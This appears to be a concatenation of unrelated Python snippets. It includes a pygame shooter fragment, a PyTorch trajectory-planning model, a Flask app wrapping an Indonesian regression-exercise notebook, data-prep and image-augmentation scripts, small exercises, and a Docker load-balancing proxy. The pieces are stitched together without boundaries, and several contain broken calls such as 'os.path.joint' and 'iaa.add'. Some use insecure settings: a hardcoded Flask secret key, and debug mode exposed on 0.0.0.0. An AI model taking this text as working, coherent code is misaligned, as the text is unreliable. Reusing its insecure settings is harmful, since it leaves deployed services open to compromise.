        if self.player.rect.y >= 650:
            self.player.rect.y = 650

    def update(self):
        self.player.move()
        if self.meteor.rect.colliderect(self.bullets.rect):
            self.meteor.move(True)
            self.score.score_value += 1
            self.bullets.velocity[0] = 0
            self.bullets.rect.x = 2000
            self.bullets.rect.y = 2000
            self.bullets.state = "ready"
            self.bullets.HIT_SOUND.play()
        if (self.meteor.rect.y > 610):
            self.meteor.rect.y = 2000
            self.life.life_value -= 1
            if self.life.life_value == 0:
                self.running = False
        self.score.update()
        self.life.update()
        self.meteor.move(False)
        self.bullets.move()
        if self.bullets.rect.y <= -10:
            self.bullets.state = "ready"

    def display(self):
        self.screen.blit(self.background, (0, 0))
        self.player.draw(self.screen)
        self.meteor.draw(self.screen)
        self.bullets.draw(self.screen)
        self.score.draw(self.screen)
        self.life.draw(self.screen)
        pygame.display.flip()

    def run(self):
        while self.running:
            self.handling_event()
            self.update()
            self.display()
            self.clock.tick(300)

pygame.init()
screen = pygame.display.set_mode((1080,720))
pygame.display.set_caption("Space Shooter")
game = Game(screen)
game.run()

pygame.quit()


from typing import Dict, List

import torch
import torch.nn as nn
import torch.nn.functional as F

from .common import build_target_normalization, pad_avail, pad_points
from .open_loop_model import VectorizedModel
from .global_graph import MultimodalMultiheadAttentionGlobalHead

class VectorizedMultiModalPlanningModel(VectorizedModel):
    """Vector-based multimodal planning model."""

    def __init__(
        self,
        history_num_frames_ego: int,
        history_num_frames_agents: int,
        future_num_frames: int,
        num_outputs: int,
        num_modes: int,
        weights_scaling: List[float],
        criterion: nn.Module,
        global_head_dropout: float,
        disable_other_agents: bool,
        disable_map: bool,
        disable_lane_boundaries: bool,
        coef_alpha: float = 0.5,
    ) -> None:
        """Initializes the multimodal planning model.

        :param history_num_frames_ego: number of history ego frames to include
        :param history_num_frames_agents: number of history agent frames to include
        :param future_num_frames: number of future frames to predict
        :param num_outputs: number of output dimensions, by default is 3: x, y, heading
        :param num_modes: number of modes in predicted outputs
        :param weights_scaling: target weights for loss calculation
        :param criterion: loss function to use
        :param global_head_dropout: float in range [0,1] for the dropout in the MHA global head. Set to 0 to disable it
        :param disable_other_agents: ignore agents
        :param disable_map: ignore map
        :param disable_lane_boundaries: ignore lane boundaries
        :param coef_alpha: hyper-parameter used to trade-off between trajectory distance loss and classification
        cross-entropy loss
        """
        num_targets = (future_num_frames * num_outputs + 1) * num_modes
        super().__init__(
            history_num_frames_ego,
            history_num_frames_agents,
            num_targets,
            weights_scaling,
            criterion,
            global_head_dropout,
            disable_other_agents,
            disable_map,
            disable_lane_boundaries,
        )
        self.num_modes = num_modes
        self.num_timestamps = future_num_frames
        self.num_outputs = num_outputs
        self.coef_alpha = coef_alpha

        self.normalize_targets = True
        num_timestamps = self.num_timestamps

        if self.normalize_targets:
            scale = build_target_normalization(num_timestamps)
            self.register_buffer("xy_scale", scale)

        # 重写父类的global_head，将输出[future_num_frames,num_outputs]合并成一个维度num_targets
        self.global_head = MultimodalMultiheadAttentionGlobalHead(
            self._d_global, num_targets, dropout=self._global_head_dropout
        )

    def forward(self, data_batch: Dict[str, torch.Tensor]) -> Dict[str, torch.Tensor]:
        ## Load and prepare vectors for the model call, split into map and agents

        # ==== LANES ====
        # batch size x num lanes x num vectors x num features
        polyline_keys = ["lanes_mid", "crosswalks"]
        if not self.disable_lane_boundaries:
            polyline_keys += ["lanes"]
        avail_keys = [f"{k}_availabilities" for k in polyline_keys]

        max_num_vectors = max([data_batch[key].shape[-2] for key in polyline_keys])
        map_polys = torch.cat([pad_points(data_batch[key], max_num_vectors) for key in polyline_keys], dim=1)
        map_polys[..., -1].fill_(0)
        # batch size x num lanes x num vectors
        map_availabilities = torch.cat([pad_avail(data_batch[key], max_num_vectors) for key in avail_keys], dim=1)

        # ==== AGENTS ====
        # batch_size x (1 + M) x seq len x self._vector_length
        agents_polys = torch.cat(
            [data_batch["agent_trajectory_polyline"].unsqueeze(1), data_batch["other_agents_polyline"]], dim=1
        )
        # batch_size x (1 + M) x num vectors x self._vector_length
        agents_polys = pad_points(agents_polys, max_num_vectors)

        # batch_size x (1 + M) x seq len
        agents_availabilities = torch.cat(
            [
                data_batch["agent_polyline_availability"].unsqueeze(1),
                data_batch["other_agents_polyline_availability"],
            ],
            dim=1,
        )
        # batch_size x (1 + M) x num vectors
        agents_availabilities = pad_avail(agents_availabilities, max_num_vectors)

        # batch_size x (1 + M) x num features
        type_embedding = self.type_embedding(data_batch).transpose(0, 1)
        lane_bdry_len = data_batch["lanes"].shape[1]

        ## call the model with these features
        #[batch_size, (future_num_frames * num_outputs + 1) * num_modes]
        outputs_all, attns = self.model_call(
            agents_polys, map_polys, agents_availabilities, map_availabilities, type_embedding, lane_bdry_len
        )
        batch_size = len(outputs_all)

        # [batch_size, num_timestamps * num_outputs * num_modes]
        outputs = outputs_all[:, :-self.num_modes]
        # [batch_size, num_modes], classification flags
        outputs_nll = outputs_all[:, -self.num_modes:]

        # .view(-1, self.num_timesteps, self.num_outputs)

        # calculate loss or return predicted position for inference
        if self.training:
            if self.criterion is None:
                raise NotImplementedError("Loss function is undefined.")

            # [batch_size, num_timestamps * num_modes, num_outputs]
            outputs = outputs.view(
                -1, self.num_timestamps * self.num_modes, self.num_outputs
            )

            # [batch_size, num_timestamps, 2]
            xy = data_batch["target_positions"]
            # [batch_size, num_timestamps, 1]
            yaw = data_batch["target_yaws"]

            if self.normalize_targets:
                xy /= self.xy_scale

            # [batch_size, num_timestamps, num_outputs]
            targets = torch.cat((xy, yaw), dim=-1)
            # [batch_size, num_timestamps]
            target_weights = data_batch["target_availabilities"] > 0.5
            # [batch_size, num_timestamps, num_outputs]
            target_weights = target_weights.unsqueeze(-1) * self.weights_scaling
            # [batch_size, num_timestamps * num_modes, num_outputs]
            losses = self.criterion(
                outputs, targets.repeat(1, self.num_modes, 1)
            ) * target_weights.repeat(1, self.num_modes, 1)
            # [batch_size, num_modes]
            cost_dist = losses.view(batch_size, self.num_modes, -1).mean(dim=-1)
            # [batch_size,],最接近target轨迹的output轨迹的编号
            assignment = cost_dist.argmin(dim=-1)
            # 最接近轨迹的距离loss
            loss_dist = cost_dist[torch.arange(batch_size, device=outputs.device), assignment].mean()
            # 每个output轨迹是接近target轨迹的分类概率loss
            loss_nll = F.cross_entropy(outputs_nll, assignment)
            train_dict = {"loss": loss_dist + self.coef_alpha * loss_nll}
            return train_dict
        else:
            outputs = outputs.view(batch_size, self.num_modes, self.num_timestamps, self.num_outputs)
            outputs_selected = outputs[torch.arange(batch_size, device=outputs.device), outputs_nll.argmax(-1)]
            pred_positions, pred_yaws = outputs_selected[..., :2], outputs_selected[..., 2:3]
            pred_pos_all = outputs[..., :2]
            pred_yaw_all = outputs[..., 2:3]
            if self.normalize_targets:
                pred_positions *= self.xy_scale
                pred_pos_all *= self.xy_scale

            eval_dict = {
                "positions": pred_positions,
                "yaws": pred_yaws,
                "positions_all": pred_pos_all,
                "yaws_all": pred_yaw_all,
            }
            if attns is not None:
                eval_dict["attention_weights"] = attns
            return eval_dict


import flask
import os
from flask import send_from_directory

app = flask.Flask(__name__)

#!/usr/bin/env python
# coding: utf-8

# ![header%20ipynb.png](attachment:header%20ipynb.png)

# # Hands-On
# ---
#
# Hands-On ini digunakan pada kegiatan Microcredential Associate Data Scientist 2021

# # Tugas Mandiri Pertemuan 10
# ---
# Pertemuan 10 (sepuluh) pada Microcredential Associate Data Scientist 2021 menyampaikan materi mengenai Membangun Model (Dasar Regresi dan Regresi Linier). silakan Anda kerjakan Latihan 1 s/d 20. Output yang anda lihat merupakan panduan yang dapat Anda ikuti dalam penulisan code :)

# # Latihan (1)
#
# ### Melakukan import library yang dibutuhkan

# In[1]:

# import library pandas
import pandas as pd

# Import library numpy
import numpy as np

# Import library matplotlib dan seaborn untuk visualisasi
import matplotlib.pyplot as plt
import seaborn as sns

# Import Module LinearRegression digunakan untuk memanggil algoritma Linear Regression.
from sklearn.linear_model import LinearRegression

# import Module train_test_split digunakan untuk membagi data kita menjadi training dan testing set.
from sklearn.model_selection import train_test_split

# import modul mean_absolute_error dari library sklearn
from sklearn.metrics import mean_absolute_error

#import math agar program dapat menggunakan semua fungsi yang ada pada modul math.(ex:sqrt)
import math

# me-non aktifkan peringatan pada python
import warnings
warnings.simplefilter("ignore")

@app.route('/favicon.ico')
def favicon():
    return send_from_directory(os.path.joint(app.root.path,'static'),  'favicon.ico', mimetype='image/favicon.png')

@app.route('/')
@app.route('/home')
def home():
    # ### Load Dataset

    # In[2]:

    #Panggil file (load file bernama CarPrice_Assignment.csv) dan simpan dalam dataframe Lalu tampilkan 10 baris awal dataset dengan function head()
    data = pd.read_csv('CarPrice_Assignment.csv')
    dataset = pd.DataFrame(data)
    dataset.head(10)

    # # Latihan (2)
    #
    # ### Review Dataset

    # In[3]:

    # melihat jumlah baris dan jumlah kolom (bentuk data) pada data df dengan fungsi .shape
    dataset.shape

    # Data kita mempunyai 26 kolom dengan 205 baris.

    # In[4]:

    # Melihat Informasi lebih detail mengenai struktur DataFrame dapat dilihat menggunakan fungsi info()
    dataset.info()

    # In[5]:

    # melihat statistik data untuk data numeric seperti count, mean, standard deviation, maximum, mininum, dan quartile.
    dataset.describe()

    # In[6]:

    # cek nilai yang hilang / missing values di dalam data
    dataset.isna().sum()

    # Ternyata data kita tidak ada missing values.

    # Simple linear regression atau regresi linear sederhana merupakan jenis regresi yang paling sederhana karena hanya melibatkan satu variabel bebas atau variabel independen X.

    # # Visualisasi data untuk pemilihan fitur / variabel independen X
    # ---
    # 1. Variabel y atau variabel dependent adalah 'price'
    # 2. Lakukan Visualisasi dalam penerapannya agar dapat terlihat jelas / mempermudah dalam membaca data tsb
    # 3. Untuk dapat menentukan variabel X yaitu dapat melihat korelasi antar variabel dengan variabel y / kolom 'price'

    # # Latihan (3)
    #
    # ### untuk dapat menentukan lebih detail / akurat dalam pemilihan fitur dapat dilihat dari hubungan korelasi nya dengan function corr()

    # In[7]:

    dataset.corr()

    # tampaknya enginesize, boreratio, horsepower, wheelbase memiliki korelasi yang signifikan dengan harga/price.

    # # Latihan (4)
    #
    # ### Buat Visualisasi scater plot dari kolom:
    #
    # 'enginesize', 'boreratio', 'stroke','compressionratio', 'horsepower', 'peakrpm', 'wheelbase', 'citympg', 'highwaympg'

    # In[8]:

    def pp(x,y,z):
        sns.pairplot(dataset, x_vars=[x, y, z], y_vars='price', size=4, aspect=1, diag_kind=None)
        plt.show()

    pp('enginesize', 'boreratio', 'stroke')
    pp('compressionratio', 'horsepower', 'peakrpm')
    pp('wheelbase', 'citympg', 'highwaympg')

    # # Latihan (5)
    #
    # ### Buat Visualisasi Heatmap dari kolom:
    #
    # 'enginesize', 'boreratio', 'stroke','compressionratio', 'horsepower', 'peakrpm', 'wheelbase', 'citympg', 'highwaympg'

    # In[9]:

    plt.figure(figsize = (8,8))
    data_fitur = dataset[['enginesize', 'boreratio', 'stroke','compressionratio', 'horsepower', 'peakrpm', 'wheelbase', 'citympg', 'highwaympg']]
    sns.heatmap(data_fitur.corr(),annot=False,fmt="f").set_title("Korelasi Heatmap Calon Variabel X")
    plt.show()

    # Dari hasil visualisasi diatas bahwa fitur/kolom enginesize memiliki korelasi yang tinggi terhadap kolom price / variabel dependent sehingga kita mengambil fitur/kolom enginesize untuk di training
    # * Independent variabel(x) adalah enginesize.
    # * Dependent variabel(y) adalah price.

    # # Latihan (6)
    #
    # ### Buat Visualisasi Scatter Plot antara calon variabel X(enginesize) dan y(price):

    # In[10]:

    plt.scatter(dataset['enginesize'], dataset['price'])
    plt.xlabel('enginesize')
    plt.ylabel('price')
    plt.title('Scatter Plot enginesize vs Price')
    plt.show()

    # Scatter plot menunjukkan dengan jelas hubungan antarvariabel serta sebarannya di dataset. Selain itu, dengan scatter plot juga kita dapat mengindikasikan bahwa variabel enginesize dan price memiliki hubungan linear.

    #     Catatan : korelasi 0.874145 adalah nilai yang cukup tinggi, artinya nilai price benar-benar sangat dipengaruhi oleh nilai enginesize, karena korelasi tinggi maka algoritma Regresi Linier ini cocok digunakan untuk data tersebut.

    # # Latihan (7)
    #
    # ### definisi variabel X(enginesize) dan y(price):

    # In[11]:

    # Prepare data
    # Pertama, buat variabel x dan y.
    x = dataset['enginesize'].values.reshape(-1,1)
    y = dataset['price'].values.reshape(-1,1)

    # Formula Regresi Linear
    # ![gambar.png](attachment:gambar.png)
    #
    #
    # "Jika kita melihat formula regresi linear di atas, kita pasti ingat rumus persamaan garis yang pernah dipelajari di bangku sekolah, yaitu y = mx + c, dimana m merupakan gradien atau kemiringan garis dan c merupakan konstanta."

    # * from scratch
    # * y = ax + b atau y = w1x + w0 atau y = mx + c
    # * x = input
    # * y = output
    # * b atau w0 = intercept / bias
    # * a atau w1 = slope / gradient / coefficient

    # # Latihan (8)
    #
    # ### definisi variabel nilai mean/rata-rata X(enginesize) dan nilai mean/rata-rata y(price):

    # In[12]:

    x_mean = np.mean(x)
    y_mean = np.mean(y)
    print('nilai mean var x: ', x_mean,'\n'
        'nilai mean var y: ', y_mean)

    # # Latihan (9)
    #
    # ### carilah nilai koefisien korelasi nya dengan rumus dibawah:

    # ![gambar.png](attachment:gambar.png)

    # In[13]:

    atas = sum((x - x_mean)*(y - y_mean))
    bawah = math.sqrt((sum((x - x_mean)**2)) * (sum((y - y_mean)**2)))
    correlation = atas/bawah
    print('Nilai Correlation Coefficient: ', correlation)

    #
    # ### carilah nilai parameter theta 1 dan theta 0 dengan rumus dibawah:

    #
    # ![gambar.png](attachment:gambar.png)

    #     theta_1 = ((111-104.11) * (13495-13276.71)) + ... + ((114-104.11) * (22625-13276.71)) / ((111-104.11)^2 + ... + (114-104.11)^2)

    # # Latihan (10)
    #
    # ### carilah nilai theta_1 atau nilai slope

    # In[14]:

    # slope
    # Slope adalah tingkat kemiringan garis, intercept
    # adalah jarak titik y pada garis dari titik 0
    variance = sum((x - x_mean)**2)
    covariance = sum((x - x_mean) * (y - y_mean))
    theta_1 = covariance/variance
    print('Nilai theta_1: ',theta_1)

    # # Latihan (11)
    #
    # ### carilah nilai theta_0 atau nilai intercept

    # In[15]:

    # intercept
    theta_0 = y_mean - (theta_1 * x_mean)
    print('Nilai theta_1: ',theta_0)

    # ### Maka persamaan garis :
    #
    # #     **y = 167.69x - 8005.44**
    #
    # Jadi persamaan garis diatas dapat digunakan untuk melakukan prediksi apabila kita memiliki data enginesize yang baru, price dapat diperkirakan dengan rumus tersebut, masukkan nilai enginesize baru ke x, maka perkiraan nilai y (price) akan didapat.

    # # Latihan (12)
    #
    # ### carilah nilai prediksi secara manual dan buatlah visualisasi scater plot nya

    # In[16]:

    # prediction manual
    y_pred = theta_0 + (theta_1 * 130)

    print(y_pred)

    # In[17]:

    # visualisasi prediksi dengan scatter plot
    y_pred = theta_0 + (theta_1 * x)

    plt.scatter(dataset['enginesize'], dataset['price'])
    plt.plot(x, y_pred, c='r')
    plt.xlabel('enginesize')
    plt.ylabel('Price')
    plt.title('Plot enginesize vs Price')

    # Linier Regression digunakan untuk Prediksi dengan mencari pola garis terbaik antara variable independent dan dependen
    #
    # Pros:
    #
    #     Mudah diimplementasikan
    #     Digunakan untuk memprediksi nilai numerik/ continous /data jenis interval dan ratio
    #
    # Cons :
    #
    #     Cenderung mudah Overfitting
    #     Tidak dapat digunakan bila relasi antara variabel independen dan dependen tidak linier atau korelasi variabel rendah

    # # Linier Regression dengan menggunakan library sklearn

    # 1. Pertama yang kita lakukan adalah split data, Train/test split adalah salah satu metode yang dapat digunakan untuk mengevaluasi performa model machine learning. Metode evaluasi model ini membagi dataset menjadi dua bagian yakni bagian yang digunakan untuk training data dan untuk testing data dengan proporsi tertentu. Train data digunakan untuk fit model machine learning, sedangkan test data digunakan untuk mengevaluasi hasil fit model tersebut.
    #
    # ![image.png](attachment:image.png)
    #
    #
    # Python memiliki library yang dapat mengimplementasikan train/test split dengan mudah yaitu Scikit-Learn. Untuk menggunakannya, kita perlu mengimport Scikit-Learn terlebih dahulu, kemudian setelah itu kita dapat menggunakan fungsi train_test_split().

    # # Latihan (13)
    #
    # ### split data train dan test dengan function  train_test_split() dengan train_size=0.8, test_size=0.2 dan random_state=100

    # In[18]:

    X_train, X_test, y_train, y_test = train_test_split(x, y, train_size = 0.8, test_size = 0.2, random_state = 100)

    # * X_train: Untuk menampung data source yang akan dilatih.
    # * X_test: Untuk menampung data target yang akan dilatih.
    # * y_train: Untuk menampung data source yang akan digunakan untuk testing.
    # * y_test: Untuk menampung data target yang akan digunakan untuk testing.
    #
    # X dan y adalah nama variabel yang digunakan saat mendefinisikan data source dan data target. Parameter *test_size* digunakan untuk mendefinisikan ukuran data testing. Dalam contoh di atas, test_size=0.2 berarti data yang digunakan sebagai data testing adalah sebesar 20% dari keseluruhan dataset.
    #
    # Perlu diketahui bahwa metode ini akan membagi train set dan test set secara random atau acak. Jadi, jika kita mengulang proses running, maka tentunya hasil yang didapat akan berubah-ubah. Untuk mengatasinya, kita dapat menggunakan parameter *random_state*

    # # Latihan (14)
    #
    # ### buat object variabel linier regression

    # In[19]:

    regressor = LinearRegression()

    # # Latihan (15)
    #
    # ### training the model menggunakan training data yang sudah displit sebelumnya.

    # In[20]:

    regressor.fit(X_train, y_train)

    # # Latihan (16)
    #
    # ### cari tau nilai slope/koefisien (m) dan intercept (b), dengan menggunakan function dari library sklearn -> LinierRegression

    # In[21]:

    print(regressor.coef_)
    print(regressor.intercept_)

    # Dari nilai m dan b diatas, kalau dimasukan ke dalam rumus persamaan menjadi:
    # #     **y = 168.17x - 8037.06**

    # # Latihan (17)
    #
    # ### cari tahu accuracy score dari model kita menggunakan testing data yang sudah displit sebelumnya. Dan nilai korelasinya

    # In[22]:

    regressor.score(X_test, y_test)

    # Model kita mendapatkan accuracy score sebesar 80.68%

    # In[23]:

    print('Correlation: ', math.sqrt(regressor.score(X_test,y_test)))

    # # Latihan (18)
    #
    # ### visualisasi Regression Line menggunakan data testing.

    # In[24]:

    y_prediksi = regressor.predict(X_test)

    plt.scatter(X_test,y_test)
    plt.plot(X_test, y_prediksi, c='r')
    plt.xlabel('enginesize')
    plt.ylabel('Price')
    plt.title('Plot enginesize vs Price')

    # Garis merah merupakan Regression Line dari model yang telah dibuat sebelumnya.

    # # Latihan (19)
    #
    # ### Setelah kita yakin dengan model yang dibuat, selanjutnya adalah prediksi dari harga mobil dengan enginesize 100, 150, dan 200.

    # In[25]:

    #Prediksi harga mobil dengan enginesize 130.

    print('nilai prediksi harga dengan enginesize 100 : ',regressor.predict([[100]]))
    print('nilai prediksi harga dengan enginesize 150 : ',regressor.predict([[150]]))
    print('nilai prediksi harga dengan enginesize 200 : ',regressor.predict([[200]]))

    # In[26]:

    np_table = np.concatenate((X_test,y_test,y_prediksi), axis=1)
    new_dataframe = pd.DataFrame(data=np_table, columns=['x_test','y_test','y_predict'])

    # In[27]:

    new_dataframe

    # Semakin tinggi nilai error, semakin besar errornya

    # # Latihan (20)
    #
    # ### Cetak nilai Mean Absolute Error, Mean Squared Error, dan Root Mean Squared Error

    # In[28]:

    from sklearn import metrics
    print('Mean Absolute Error:', metrics.mean_absolute_error(y_test, y_prediksi))
    print('Mean Squared Error:', metrics.mean_squared_error(y_test, y_prediksi))
    print('Root Mean Squared Error:', np.sqrt(metrics.mean_squared_error(y_test, y_prediksi)))

    # In[29]:

    plt.title('Comparison of Y values in test and the Predicted values')
    plt.ylabel('Test Set')
    plt.xlabel('Predicted values')
    plt.plot(y_prediksi, '.', y_test, 'x')
    plt.show()

    return "Hasil Eksekusi"

if __name__ == "__main__":
    app.secret_key = 'ItIsASecret'
    app.debug = True
    app.run()


import tensorflow as tf
import argparse
import xml.etree.ElementTree as ET
import numpy as np
import json
import collections
import random
import re
import os

# Note that the char mappings are just ASCII value of char minus the lowest value (space) = 2
# 0 is the padding value, 1 is the UNK token and 2 is newline

# FOR SCIENCE
RAND_SEED = int(0xCAFEBABE)
random.seed(RAND_SEED)
np.random.seed(RAND_SEED)

def str_to_int(utt, newline=True):
	arr = []

	for c in list(utt):
		if c == 'π':
			arr.append(1)
		else:
			arr.append(ord(c)-27)

	if newline:
		arr.append(2)
		return arr
	return arr

class SequenceBuff:

	def __init__(self, buffersize):
		self.buffersize = buffersize
		self.capacity = 0
		self.internalMem = []

	def poll(self):
		if self.capacity > 2:
			index = random.randint(0, self.capacity-1)
		else:
			index = 0
		# make sure to shuffle the buffer
		if self.capacity < self.buffersize:
			np.random.shuffle(self.internalMem)
		return str_to_int(self.internalMem[index])

	def update(self, utterance):
		# replace

		if self.capacity > self.buffersize:
			index = random.randint(0, self.capacity-1)
			self.internalMem[index] = utterance
		# add
		else:
			self.internalMem.append(utterance)
			self.capacity += 1

def main(args):
	tree = ET.parse(args.filename)
	json_file = './data/mini_train.json'
	valid_file = './data/mini_valid.json'
	xml_root = tree.getroot()
	# max = -1
	# utt_num = []
	# convo_len = []

	buff = SequenceBuff(args.buffersize)
	json_objs = []
	convo_num = 0

	for conversation in xml_root:
		utt_num = 0

		convo = []
		for utterance in conversation:
			if utterance.text == None:
				buff.update('π')
				convo.append('π')
			else:
				buff.update(utterance.text)
				convo.append(utterance.text)
			utt_num += 1

		obj_real = {}
		obj_fake = {}
		context = []

		if utt_num < 2:
			continue
		elif utt_num-1 < args.context:
			obj_real['context_size'] = utt_num-1
			obj_fake['context_size'] = utt_num-1
			for i in range(0, utt_num-1):
				context += str_to_int(convo[i])

			next_utt = str_to_int(convo[utt_num-1])
		else:
			obj_real['context_size'] = args.context
			obj_fake['context_size'] = args.context
			for i in range(0, args.context):
				context += str_to_int(convo[i])
			next_utt = str_to_int(convo[args.context])
		fake_utt = buff.poll()

		obj_real['next_utt'] = next_utt
		obj_real['context'] = context
		obj_real['label'] = 0

		obj_fake['context'] = context
		obj_fake['next_utt'] = fake_utt
		obj_fake['label'] = 1

		json_objs.append(obj_real)
		json_objs.append(obj_fake)

		convo_num += 1

		if convo_num % 10000 == 0:
			print(convo_num)
			if convo_num < 450000:
				with open(json_file, 'a', encoding='utf-8') as f:
					for obj in json_objs:
						f.write(json.dumps(obj))
						f.write('\n')
					del json_objs[:]
			else:
				with open(valid_file, 'a', encoding='utf-8') as f2:
					for obj in json_objs:
						f2.write(json.dumps(obj))
						f2.write('\n')
					del json_objs[:]

if __name__ == '__main__':
	parser = argparse.ArgumentParser()
	parser.add_argument('filename')
	parser.add_argument('buffersize', type=int)
	parser.add_argument('context', type=int)
	args = parser.parse_args()
	main(args)


def find_anagrams(word, anagram):
    word=word.lower()
    anagram=anagram.lower()
    word=word.replace(" ", "")
    anagram=anagram.replace(" ", "")
    return sorted(word)==sorted(anagram)

    # if sorted(word)==sorted(anagram):
    #     return True
    # else:
    #     return False

print("can we qualify 'hello' as anagram to 'check' :", find_anagrams("hello", "check"))
print("can we qualify 'below' as anagram to 'elbow' :", find_anagrams("below", "elbow"))


import imageio
import imgaug as ia
from imgaug import augmenters as iaa
import os
from imgaug.augmentables.polys import Polygon, PolygonsOnImage
import numpy as np
import json
import cv2
import base64

def output_json(psoi_aug, fileName, imgdata):
    shapes = []
    for key, p in enumerate(psoi_aug):
        points = {}
        points['points'] = p.exterior.tolist()
        points['label'] = p.label
        points['group_id'] = None
        points['shape_type'] = 'polygon'
        points['flags'] = {}
        # print(points)
        # print(p.exterior)
        shapes.append(points)
        for p in points['points']:
            if p[0] < 0 or p[0] > 2730 or p[1] < 0 or p[1] > 3000:
                return None
    outputJsonVal = {}
    outputJsonVal['shapes'] = shapes
    outputJsonVal['version'] = "4.6.0"
    outputJsonVal['flags'] = {}
    outputJsonVal['imageHeight'] = 3000
    outputJsonVal['imageWidth'] = 2730
    outputJsonVal['imagePath'] = fileName
    outputJsonVal['imageData'] = imgdata

    # print(outputJsonVal)
    return outputJsonVal

def read_poly_from_json(jsonPath):
    with open(jsonPath, 'r', encoding='utf-8') as fw:
        j = json.load(fw)
        polys = []
        labelList = []
        for obj in j['shapes']:
            poly = []
            points = obj['points']
            label = obj['label']
            labelList.append(label)
            for point in points:
                newP = (point[0], point[1])
                poly.append(newP)
            polys.append(poly)
    return polys, labelList

def aug(imagePath, jsonPath, fileNum):
    # 读图和label
    image = imageio.imread(imagePath)
    polys, labelList = read_poly_from_json(jsonPath)

    # 生成需要的多边形对象
    PolygonList = []
    for key, p in enumerate(polys):
        PolygonList.append(Polygon(p, labelList[key]))
    psoi = ia.PolygonsOnImage(PolygonList, shape=image.shape)

    # 添加增强方法
    aug = iaa.Sequential([
        iaa.add((-30,30)),
        iaa.Flipud(1.0)
    ])
    # 将增强方法作用到原图和原多边形label上
    image_aug, psoi_aug = aug(image=image, polygons=psoi)

    _, imgEncode = cv2.imencode('.png', image_aug)
    imgdata: str = str(base64.b64encode(imgEncode))[2:-1]
    jsonObj = output_json(psoi_aug, f'data_out/{fileNum}_Flipud.png', imgdata)
    if jsonObj:
        with open(f'data_out/{fileNum}_Flipud.json', "w") as f:
            json.dump(jsonObj, f)
    # ia.imshow(psoi_aug.draw_on_image(image_aug, alpha_face=0.2, size_points=7))
    # save
    imageio.imwrite(f'data_out/{fileNum}_Flipud.png', image_aug)

    aug = iaa.Sequential([
        iaa.Fliplr(1.0)
    ])
    image_aug, psoi_aug = aug(image=image, polygons=psoi)
    # print(image_aug.shape)
    _, imgEncode = cv2.imencode('.png', image_aug)
    imgdata: str = str(base64.b64encode(imgEncode))[2:-1]
    jsonObj = output_json(psoi_aug, f'data_out/{fileNum}_Fliplr.png', imgdata)
    if jsonObj:
        with open(f'data_out/{fileNum}_Fliplr.json', "w") as f:
            json.dump(jsonObj, f)
    # ia.imshow(psoi_aug.draw_on_image(image_aug, alpha_face=0.2, size_points=7))
    # save
    imageio.imwrite(f'data_out/{fileNum}_Fliplr.png', image_aug)

    for i in range(4):
        aug = iaa.Sequential([
            iaa.Affine(rotate=(-35, 35))
        ])
        image_aug, psoi_aug = aug(image=image, polygons=psoi)

        _, imgEncode = cv2.imencode('.png', image_aug)
        imgdata: str = str(base64.b64encode(imgEncode))[2:-1]
        jsonObj = output_json(
            psoi_aug, f'data_out/{fileNum}_rotate{i}.png', imgdata)
        if jsonObj:
            with open(f'data_out/{fileNum}_rotate{i}.json', "w") as f:
                json.dump(jsonObj, f)
        # ia.imshow(psoi_aug.draw_on_image(
        #     image_aug, alpha_face=0.2, size_points=7))
        # save
        imageio.imwrite(f'data_out/{fileNum}_rotate{i}.png', image_aug)

    for i in range(3):
        aug = iaa.Sequential([
            iaa.ScaleY((0.8, 1.2))
        ])
        image_aug, psoi_aug = aug(image=image, polygons=psoi)

        _, imgEncode = cv2.imencode('.png', image_aug)
        imgdata: str = str(base64.b64encode(imgEncode))[2:-1]

        jsonObj = output_json(
            psoi_aug, f'data_out/{fileNum}_ScaleY{i}.png', imgdata)
        if jsonObj:
            with open(f'data_out/{fileNum}_ScaleY{i}.json', "w") as f:
                json.dump(jsonObj, f)
        # ia.imshow(psoi_aug.draw_on_image(
        #     image_aug, alpha_face=0.2, size_points=7))
        # save
        imageio.imwrite(f'data_out/{fileNum}_ScaleY{i}.png', image_aug)

    for i in range(3):
        aug = iaa.Sequential([
            iaa.ScaleX((0.8, 1.2))
        ])
        image_aug, psoi_aug = aug(image=image, polygons=psoi)
        _, imgEncode = cv2.imencode('.png', image_aug)
        imgdata: str = str(base64.b64encode(imgEncode))[2:-1]
        jsonObj = output_json(
            psoi_aug, f'data_out/{fileNum}_ScaleX{i}.png', imgdata)
        if jsonObj:
            with open(f'data_out/{fileNum}_ScaleX{i}.json', "w") as f:
                json.dump(jsonObj, f)
        # ia.imshow(psoi_aug.draw_on_image(
        #     image_aug, alpha_face=0.2, size_points=7))
        # save
        imageio.imwrite(f'data_out/{fileNum}_ScaleX{i}.png', image_aug)

if __name__ == '__main__':

    # aug(f'data\\16612608596399.png', f'data/16612608596399.json')

    i = 1
    fileList = os.listdir('./img')
    for file in fileList:
        if file.endswith('jpg'):
            aug(f'data\\{file}', f'data/{file[:-4]}.json', i)
            # print(i)
            i += 1


#!/usr/bin/python3
"""_summary_"""

def pascal_triangle(n):
    """_summary_"""
    triangle = [[1] * (i + 1) for i in range(n)]
    for i in range(n):
        for j in range(1, i):
            triangle[i][j] = triangle[i-1][j-1] + triangle[i-1][j]
    return triangle


import random, os, json, datetime, time ,string
import docker
import random
import json
from flask import *
client = docker.from_env()
import requests
app = Flask(__name__)
c=0
gc = 0

@app.route("/<path:subreddits>", methods=['GET', 'POST', 'DELETE'])
def recv_req(subreddits):
	a = len(client.containers.list()) - 1
	global c
	global gc
	c+=1
	gc = gc + 1
	j=gc%(a)
	print("Request",gc)
	print(a,"containers running")
	pos = -1
	new_url = request.url
	#print(new_url)
	col = new_url.rfind(':')
	#print(col)
	for i in range(col,len(new_url)-1):
		if(new_url[i].isdigit() and new_url[i+1]=="/"):
			pos = i+1
			break
	#print(pos)
	ur = new_url[:col+1]+str(int(8000+j))+new_url[pos:]
	print("Request sent to:",ur)
	print("\n")
	print("\n")
	new_url = ur
	resp = requests.request(method=request.method,url= new_url,headers={key: value for (key, value) in request.headers if key != 'Host'}, data=request.get_data())
	headers = [(name, value) for (name, value) in resp.raw.headers.items()]
	response = Response(resp.content, resp.status_code, headers)

	return (response)

@app.route("/api/count",methods=['GET'])
def count():
	global c
	k = c
	c = 0
	return jsonify({"val":k})

@app.route("/api/global",methods=['GET'])
def count1():
	global gc
	return gc

if __name__ == "__main__":
	port = int(os.environ.get('PORT', 5000))
	app.run(debug=True, host='0.0.0.0', port=port)


import paddle.fluid as fluid

from paddlerec.core.utils import envs
from paddlerec.core.model import Model as ModelBase

class Model(ModelBase):
    def __init__(self, config):
        ModelBase.__init__(self, config)

    def config_read(self, config_path):
        with open(config_path, "r") as fin:
            user_count = int(fin.readline().strip())
